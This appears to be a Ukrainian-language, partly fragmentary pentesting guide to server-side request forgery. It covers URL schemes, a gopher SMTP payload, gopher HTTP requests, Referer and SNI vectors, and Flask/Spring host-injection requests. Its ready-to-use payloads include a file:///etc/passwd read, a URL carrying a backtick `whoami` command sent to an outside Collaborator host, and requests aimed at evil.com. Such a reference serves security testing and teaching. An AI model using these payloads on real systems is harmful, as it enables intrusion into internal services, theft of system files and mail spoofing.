Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, підтримувані найсучаснішими інструментами спільноти.
Отримайте доступ сьогодні:
Вразливість Server-side Request Forgery (SSRF) виникає, коли зловмисник маніпулює сервісом на стороні сервера, змушуючи його робити HTTP запити до домену на свій вибір. Ця вразливість відкриває сервер для довільних зовнішніх запитів, спрямованих зловмисником.
Захоплення SSRF
Перше, що вам потрібно зробити, це захопити взаємодію SSRF, згенеровану вами. Щоб захопити HTTP або DNS взаємодію, ви можете використовувати такі інструменти:
Зазвичай ви виявите, що SSRF працює лише в певних доменах у білому списку або URL. На наступній сторінці ви знайдете компіляцію технік, щоб спробувати обійти цей білий список:
Якщо сервер правильно захищений, ви можете обійти всі обмеження, експлуатуючи відкритий редирект на веб-сторінці. Оскільки веб-сторінка дозволяє SSRF до того ж домену і, ймовірно, буде слідувати редиректам, ви можете експлуатувати відкритий редирект, щоб змусити сервер отримати доступ до будь-якого внутрішнього ресурсу.
Читати більше тут: https://portswigger.net/web-security/ssrf
Протоколи
file://
URL-схема file:// посилається безпосередньо на /etc/passwd: file:///etc/passwd
dict://
URL-схема DICT описується як така, що використовується для доступу до визначень або списків слів через протокол DICT. Наведено приклад, що ілюструє побудований URL, націлений на конкретне слово, базу даних і номер запису, а також випадок потенційного зловживання PHP-скриптом для підключення до сервера DICT за допомогою наданих зловмисником облікових даних: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Визначено як протокол для безпечного передачі файлів через захищений канал, наведено приклад, що демонструє, як PHP-скрипт може бути використаний для підключення до шкідливого SFTP-сервера: url=sftp://generic.com:11111/
TFTP://
Протокол простого передачі файлів, що працює через UDP, згадується з прикладом PHP-скрипта, призначеного для надсилання запиту до TFTP-сервера. Запит TFTP надсилається на 'generic.com' на порту '12346' для файлу 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
Цей сегмент охоплює Lightweight Directory Access Protocol, підкреслюючи його використання для управління та доступу до розподілених служб інформації про каталоги через IP-мережі. Взаємодія з LDAP-сервером на localhost: '%0astats%0aquit' через ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
Описано метод експлуатації вразливостей SSRF для взаємодії з SMTP-сервісами на localhost, включаючи кроки для виявлення внутрішніх доменних імен та подальших розслідувальних дій на основі цієї інформації.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
Curl URL globbing - обход WAF
Якщо SSRF виконується за допомогою curl, curl має функцію, звану URL globbing, яка може бути корисною для обходу WAF. Наприклад, у цьому описі ви можете знайти цей приклад для перетворення шляху через протокол file:
Обговорюється можливість протоколу Gopher вказувати IP, порт і байти для зв'язку з сервером, а також інструменти, такі як Gopherus і remote-method-guesser для створення payloads. Ілюструються два різні використання:
Gopher://
Використовуючи цей протокол, ви можете вказати IP, порт і байти, які ви хочете, щоб сервер надіслав. Тоді ви можете в основному експлуатувати SSRF для зв'язку з будь-яким TCP сервером (але вам потрібно спочатку знати, як спілкуватися з сервісом).
На щастя, ви можете використовувати Gopherus для створення payloads для кількох сервісів. Крім того, remote-method-guesser може бути використаний для створення gopher payloads для Java RMI сервісів.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Гофер HTTP
#For new lines you can use %0A, %0D%0Agopher://<server>:8080/_GET /HTTP/1.0%0A%0Agopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Аналітичне програмне забезпечення на серверах часто реєструє заголовок Referrer для відстеження вхідних посилань, що випадково піддає програми вразливостям Server-Side Request Forgery (SSRF). Це відбувається тому, що таке програмне забезпечення може відвідувати зовнішні URL, згадані в заголовку Referrer, для аналізу вмісту реферального сайту. Для виявлення цих вразливостей рекомендується плагін Burp Suite "Collaborator Everywhere", який використовує спосіб обробки аналітичними інструментами заголовка Referer для ідентифікації потенційних поверхонь атаки SSRF.
SSRF через дані SNI з сертифіката
Неправильна конфігурація, яка може дозволити з'єднання з будь-яким бекендом через просту настройку, ілюструється прикладом конфігурації Nginx:
У цій конфігурації значення з поля Server Name Indication (SNI) безпосередньо використовується як адреса бекенду. Ця налаштування відкриває вразливість до Server-Side Request Forgery (SSRF), яку можна експлуатувати, просто вказавши бажану IP-адресу або доменне ім'я в полі SNI. Приклад експлуатації для примусового з'єднання з довільним бекендом, таким як internal.host.com, за допомогою команди openssl наведено нижче:
Можливо, варто спробувати корисне навантаження, наприклад: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Відображення PDF
Якщо веб-сторінка автоматично створює PDF з деякою інформацією, яку ви надали, ви можете вставити деякий JS, який буде виконано самим творцем PDF (сервером) під час створення PDF, і ви зможете зловживати SSRF. Знайдіть більше інформації тут.
Від SSRF до DoS
Створіть кілька сесій і спробуйте завантажити великі файли, експлуатуючи SSRF з сесій.
Функції PHP для SSRF
Перевірте наступну сторінку на наявність вразливих функцій PHP і навіть Wordpress:
Для деяких експлуатацій вам може знадобитися надіслати відповідь на перенаправлення (можливо, щоб використовувати інший протокол, наприклад gopher). Ось різні коди на python для відповіді з перенаправленням:
Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, що працюють на основі найсучасніших інструментів спільноти.
Отримайте доступ сьогодні:
</details>
Flask дозволяє використовувати **`@`** як початковий символ, що дозволяє зробити **початкову назву хоста іменем користувача** та інжектувати нову. Запит атаки:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Вразливий код:
Було виявлено, що можливо почати шлях запиту з символу ;, що дозволяє потім використовувати @ та інжектувати новий хост для доступу. Запит атаки:
GET ;@evil.com/url HTTP/1.1Host:target.comConnection:close